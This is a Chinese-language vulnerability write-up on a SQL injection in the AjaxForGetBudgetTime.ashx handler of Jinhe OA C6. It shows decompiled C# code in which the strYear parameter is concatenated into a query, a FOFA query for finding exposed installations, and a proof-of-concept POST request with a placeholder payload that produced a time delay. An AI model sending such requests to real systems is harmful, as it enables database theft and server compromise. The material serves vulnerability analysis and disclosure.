漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForGetBudgetTime.ashx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 AjaxForGetBudgetTime.ashx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForGetBudgetTime 的处理逻辑
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string strType = context.Request["strType"];
string strPeriod = context.Request["strTime"];
string str1 = context.Request["strYear"];
string str2 = string.Empty;
if (string.op_Equality(strType, "getTime"))
{
DataTable periodByYear = this.cc.GetPeriodByYear(str1);
else
{
string strSubjectCode = context.Request["strSubjectCode"];
string strValue = context.Request["strValue"];
DataTable budgetImportData = this.deptCostSet.GetBudgetImportData(strType, strValue, str1, strPeriod, strSubjectCode);
根据strType的值进入不同的处理流程

当 strType=getTime 时,strYear被带入GetPeriodByYear方法
context.Response.ContentType = "text/plain";
string strType = context.Request["strType"];
string strPeriod = context.Request["strTime"];
string str1 = context.Request["strYear"];
string str2 = string.Empty;
if (string.op_Equality(strType, "getTime"))
{
DataTable periodByYear = this.cc.GetPeriodByYear(str1);
跟进 GetPeriodByYear 方法
public DataTable GetPeriodByYear(string Year)
{
return this.db.ExecSQLReDataTable($"{" Select distinct Budget_PeriodManage.Period " + " from Budget_PeriodManage " + " Left outer join Budget_PeriodDivert " + " on Budget_PeriodDivert.YearPeriod = Budget_PeriodManage.YearPeriod " + " and Budget_PeriodDivert.Period = Budget_PeriodManage.Period "} where Budget_PeriodDivert.Status is null and Budget_PeriodManage.YearPeriod ='{Year}'" + " order by Period asc ");
}
非常明显的直接将strYear参数拼接进SQL语句执行,从而造成SQL注入漏洞。
GetBudgetImportData

漏洞复现
POST /c6/JHSoft.Web.CostControl/BudgetExecution/Handlers/AjaxForGetBudgetTime.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
strType=getTime&strTime=&strYear=SQLI_POC

成功延时 4 秒




